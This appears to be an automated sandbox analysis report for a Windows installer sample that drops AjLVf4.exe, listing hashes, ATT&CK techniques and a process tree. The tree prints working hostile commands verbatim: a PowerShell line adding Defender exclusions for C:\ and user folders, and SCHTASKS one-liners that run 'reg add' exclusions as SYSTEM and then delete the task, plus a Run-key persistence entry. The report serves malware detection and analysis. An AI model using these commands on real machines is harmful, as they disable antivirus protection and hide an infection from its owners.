6f856267174bc4f2a87f8e982be5be3df0040a7b6eca6216f91bccf57e02f9a1

Analysis

max time kernel
150s
max time network
142s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/10/2026, 14:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.12.exe
Size 30.5MB
Sample261023-r3xpqaev7j
SHA256 6f856267174bc4f2a87f8e982be5be3df0040a7b6eca6216f91bccf57e02f9a1
MD5 8fd19e925ed66cde7af67f17628508fe
SHA1 32656e55dc851845f9d54806b23dd93b05688d6d
SHA512 f69bb7f8f956973c8df9235e128ef8f48289c404d98952de12f8b93e5f5e4e57f71aca48eba0e000c2ad3cb12d7a003a583c4cd683db9ea1e9f7dbfee1e895eb
SSDEEP 196608:PZKC/p+HINcZBAwLYhuR9lfn+OfIwYooiJiGD5y4IIYCY5:8C/p+HuPOc4I
TLSH
T15767181BFA809EB7F546963548DB4BA07372E9761752078F70B0B32DBFAE3802E81545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\4kkOQg = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2656	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4636	AjLVf4.exe
1560	AjLVf4.exe

Loads dropped DLL 2 IoCs

pid	Process
4636	AjLVf4.exe
1560	AjLVf4.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\4kkOQg\\AjLVf4.exe\""	AjLVf4.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2108	cmd.exe
4400	cmd.exe
1488	cmd.exe
3876	cmd.exe
2476	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	AjLVf4.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1640	cmd.exe
4360	cmd.exe
5276	cmd.exe
4884	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	AjLVf4.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	AjLVf4.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.12.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.12.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1576	schtasks.exe
2236	schtasks.exe
1792	schtasks.exe
2864	schtasks.exe
4544	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
1308	install.2.0.12.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe
4636	AjLVf4.exe

Suspicious behavior: LoadsDriver 7 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	2656	powershell.exe
Token: SeIncreaseQuotaPrivilege	2656	powershell.exe
Token: SeSecurityPrivilege	2656	powershell.exe
Token: SeTakeOwnershipPrivilege	2656	powershell.exe
Token: SeLoadDriverPrivilege	2656	powershell.exe
Token: SeSystemProfilePrivilege	2656	powershell.exe
Token: SeSystemtimePrivilege	2656	powershell.exe
Token: SeProfSingleProcessPrivilege	2656	powershell.exe
Token: SeIncBasePriorityPrivilege	2656	powershell.exe
Token: SeCreatePagefilePrivilege	2656	powershell.exe
Token: SeBackupPrivilege	2656	powershell.exe
Token: SeRestorePrivilege	2656	powershell.exe
Token: SeShutdownPrivilege	2656	powershell.exe
Token: SeDebugPrivilege	2656	powershell.exe
Token: SeSystemEnvironmentPrivilege	2656	powershell.exe
Token: SeRemoteShutdownPrivilege	2656	powershell.exe
Token: SeUndockPrivilege	2656	powershell.exe
Token: SeManageVolumePrivilege	2656	powershell.exe
Token: 33	2656	powershell.exe
Token: 34	2656	powershell.exe
Token: 35	2656	powershell.exe
Token: 36	2656	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 4636 wrote to memory of 2656	4636	AjLVf4.exe	92
PID 4636 wrote to memory of 2108	4636	AjLVf4.exe	94
PID 2108 wrote to memory of 1576	2108	cmd.exe	97
PID 2108 wrote to memory of 1904	2108	cmd.exe	98
PID 2108 wrote to memory of 3140	2108	cmd.exe	101
PID 4636 wrote to memory of 4400	4636	AjLVf4.exe	102
PID 4400 wrote to memory of 2236	4400	cmd.exe	105
PID 4636 wrote to memory of 1488	4636	AjLVf4.exe	106
PID 4400 wrote to memory of 3976	4400	cmd.exe	108
PID 1488 wrote to memory of 1792	1488	cmd.exe	110
PID 4400 wrote to memory of 1884	4400	cmd.exe	111
PID 1488 wrote to memory of 1040	1488	cmd.exe	112
PID 1488 wrote to memory of 1116	1488	cmd.exe	113
PID 4636 wrote to memory of 3876	4636	AjLVf4.exe	114
PID 3876 wrote to memory of 2864	3876	cmd.exe	116
PID 3876 wrote to memory of 2808	3876	cmd.exe	117
PID 4636 wrote to memory of 2476	4636	AjLVf4.exe	122
PID 3876 wrote to memory of 6064	3876	cmd.exe	124
PID 2476 wrote to memory of 4544	2476	cmd.exe	125
PID 2476 wrote to memory of 4208	2476	cmd.exe	126
PID 2476 wrote to memory of 4324	2476	cmd.exe	128
PID 4884 wrote to memory of 1824	4884	cmd.exe	131
PID 4360 wrote to memory of 4676	4360	cmd.exe	132
PID 5276 wrote to memory of 3420	5276	cmd.exe	133
PID 1640 wrote to memory of 2408	1640	cmd.exe	134

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.12.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.12.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:1308

C:\Users\Public\4kkOQg\AjLVf4.exe
"C:\Users\Public\4kkOQg\AjLVf4.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4636
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:2656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\4kkOQg\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2108
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\4kkOQg\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1576
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1904
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4400
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2236
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3976
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1488
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1792
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1040
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3876
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2864
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2808
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:6064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2476
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4544
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4208
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4324

C:\Users\Public\4kkOQg\AjLVf4.exe
"C:\Users\Public\4kkOQg\AjLVf4.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1560

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\4kkOQg" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1640
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\4kkOQg" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2408

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1656

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4360
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4676

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5276
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3420

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4884
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1824

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 d2a9e637b60c220de886dd13cfb50eb7f2cef47ab7374c8c1771b9dcedfdbae6
MD5 5b0f18e5aa0fd2624271746f6acdb1c2
SHA1 6160bfad40a393c4d56ca8803fac29836feddbc6
SHA512 fe6c158c0284c4891c589c444c29f5a97aea7669db7f87b7f18f29bf34d0358f5d8455174bcf1ab0d7154e3f38c8f69e16f00d3a178acf5f07d1669f8b6a4bff
TLSH
T1F93196AB1FAD78829B3A8F9420CAB1321DE5E1806DC5005FA154C0A49F4C3B22F5DB0D
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 08bcb006158a9ed02a759351cc442a04021bc3f18bcb1791e3305bb113bd54ee
MD5 ab49aa68d4022d30353ea53744a107d1
SHA1 9fda504b90632edd3e388c4cea82f05820245674
SHA512 24740c71f7cb8611bc74f66f803e9d181cb2052299464510e4a39ebf8e6f3141b3105f67b0a8e2844f94b6e320d3c01de35c707310912c9e93617cc66affee5a
TLSH
T13931D6939A392002DB085F7862E0C93B7DF171B89CB54802393DC2AB4709BB7AF82019
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 13950b364c44dcf967f395719c708eb87062da4dddb486556eaee36c1385b4e2
MD5 b5d9672c9225b95ccf3b4f5311491b06
SHA1 69dcb389220e5fc817f46f9511d3040b2edef516
SHA512 10cb46d0077d47e2c605f3fa3af90a3df09dcc238b23a2bb2f0d647175ccde4570f7243359d31380d654c01b15e6eae736b041f18d59028b70fd534d6f672b73
TLSH
T1FDF05C0848BC413DF133DA3D87C939963A7BF70634014A940BB58B4E6956F553E22579
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 a2ad9250879b4ab88f17e4891660d8f4d1dbb96d7efe89b33372d0fdee7c084b
MD5 2b0688530f9152a6da01db86b0d6ceaf
SHA1 cd9845d020d415546bf851ead4fa9b72840947a3
SHA512 874ad10277e4490d512f567a88de859c752f4be94a0267e78e6735115ea12ce899e41127a716bbe93910481e4161b984f7dd394c2364339c73dc3b345ed56cdd
TLSH
T178F05C3951DA012FF17BD5B88BC33AA2AD66E53220066ABE0FE543452E56E021C4263E
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_wkaseah1.355.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wkaseah1.355.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

AjLVf4.exe

Path C:\Users\Public\4kkOQg\AjLVf4.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\4kkOQg\UxEnhance64.dll
Size 3.1MB
SHA256 3416473f7997e7af6050f9d7e8e6e26522361a36ed64961b3f6618e5f065bf69
MD5 7295b5463b0176bcf2b166f3b456ab24
SHA1 884131fb541a93d76fe7c969231c92c305fa4026
SHA512 118c6870a7fd0b58222ccb6c09404390ceb46060e27d79987659afb5c806b30973707ec7526d1d3cea847a57fdaba64f43c787cece41a52a1e0ec6eb5e9a0f36
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+b:P9m29xx3Tiqt06ox6+z2rNNrKob
TLSH
T1FEE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\4kkOQg\adoresd.dat
Size 4.8MB
SHA256 8184678b388e2ffa9fb3f5c3da76a22a2653cdc1e7f5382e22bdaf94543f2e1d
MD5 46c51232203e9b8fcdf669101c6be704
SHA1 5504e692f9207503d091a67f7b882d066dd8ba48
SHA512 ebe1e42b3ada88b7befdba11b55af22cdbbf93cb3e2067c1870aac92e62a97046949928649068f9a395819bce1e8279437efc4583b49d74f8dba190033a6509f
SSDEEP 98304:1Wjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:1Wj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1A93633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\4kkOQg\msadox.tb
Size 8KB
SHA256 c38ed6fd5e8c8f83b2f46626a0007bc503d085b0da22c62332a101c97f5940c4
MD5 d5a8b3a380c32530338aae88c75ef161
SHA1 7c9414cb4cc3d30d3b103430b140dbbce7c1ea47
SHA512 11aefdf3cd79330eba1452cb0be5b607d4f14228352b4a7882b9d9c0a2b48aa9dedcb6c49e0d72d124a3e15b944082f6ef56b1da68548f9e6ab5c5c64b6ec8e3
SSDEEP 192:zqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:zsZqZOXQ3uqvR2Kfzp
TLSH
T1F4029E05D7A20CC3D6016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1308-524-0x00007FFF55230000-0x00007FFF55242000-memory.dmp

Download

memory/1308-523-0x00000000027B0000-0x00000000027BE000-memory.dmp

Download

memory/1308-0-0x00000000027B0000-0x00000000027BE000-memory.dmp

Download

memory/1308-503-0x00007FFF55230000-0x00007FFF55242000-memory.dmp

Download

memory/1308-1-0x0000000003DE0000-0x0000000003DEC000-memory.dmp

Download

memory/1560-590-0x00007FFF64130000-0x00007FFF64132000-memory.dmp

Download

memory/1560-587-0x00000240EBD30000-0x00000240EC607000-memory.dmp

Download

memory/1560-589-0x00000240EBD30000-0x00000240EC607000-memory.dmp

Download

memory/1560-588-0x00000240EBD30000-0x00000240EC607000-memory.dmp

Download

memory/1560-586-0x00000240EBD30000-0x00000240EC607000-memory.dmp

Download

memory/1560-582-0x00000240EBD30000-0x00000240EC607000-memory.dmp

Download

memory/1560-581-0x00007FFF64140000-0x00007FFF64142000-memory.dmp

Download

memory/1560-579-0x00000240EBD30000-0x00000240EC607000-memory.dmp

Download

memory/1560-577-0x00007FFF411C0000-0x00007FFF416DE000-memory.dmp

Download

memory/2656-600-0x0000015F6D450000-0x0000015F6D472000-memory.dmp

Download

memory/2656-603-0x0000015F6D6E0000-0x0000015F6D6FE000-memory.dmp

Download

memory/2656-604-0x0000015F6D700000-0x0000015F6D7B2000-memory.dmp

Download

memory/2656-606-0x0000015F6D4A0000-0x0000015F6D4AA000-memory.dmp

Download

memory/4636-535-0x0000021357270000-0x0000021357B47000-memory.dmp

Download

memory/4636-566-0x0000021357270000-0x0000021357B47000-memory.dmp

Download

memory/4636-565-0x0000021357270000-0x0000021357B47000-memory.dmp

Download

memory/4636-563-0x0000021357270000-0x0000021357B47000-memory.dmp

Download

memory/4636-555-0x0000021357270000-0x0000021357B47000-memory.dmp

Download

memory/4636-557-0x0000021356630000-0x000002135667E000-memory.dmp

Download

memory/4636-558-0x0000021356760000-0x00000213567EA000-memory.dmp

Download

memory/4636-559-0x0000021356760000-0x00000213567EA000-memory.dmp

Download

memory/4636-561-0x0000021356760000-0x00000213567EA000-memory.dmp

Download

memory/4636-560-0x0000021356760000-0x00000213567EA000-memory.dmp

Download

memory/4636-549-0x0000021357270000-0x0000021357B47000-memory.dmp

Download

memory/4636-545-0x0000021357270000-0x0000021357B47000-memory.dmp

Download

memory/4636-544-0x0000021357270000-0x0000021357B47000-memory.dmp

Download

memory/4636-543-0x0000021357270000-0x0000021357B47000-memory.dmp

Download

memory/4636-542-0x0000021357270000-0x0000021357B47000-memory.dmp

Download

memory/4636-538-0x0000021357270000-0x0000021357B47000-memory.dmp

Download

memory/4636-537-0x00007FFF64140000-0x00007FFF64142000-memory.dmp

Download

memory/4636-530-0x00007FFF411C0000-0x00007FFF416DE000-memory.dmp

Download

memory/4636-605-0x0000021357270000-0x0000021357B47000-memory.dmp

Download

memory/4636-529-0x00007FFF64130000-0x00007FFF64132000-memory.dmp

Download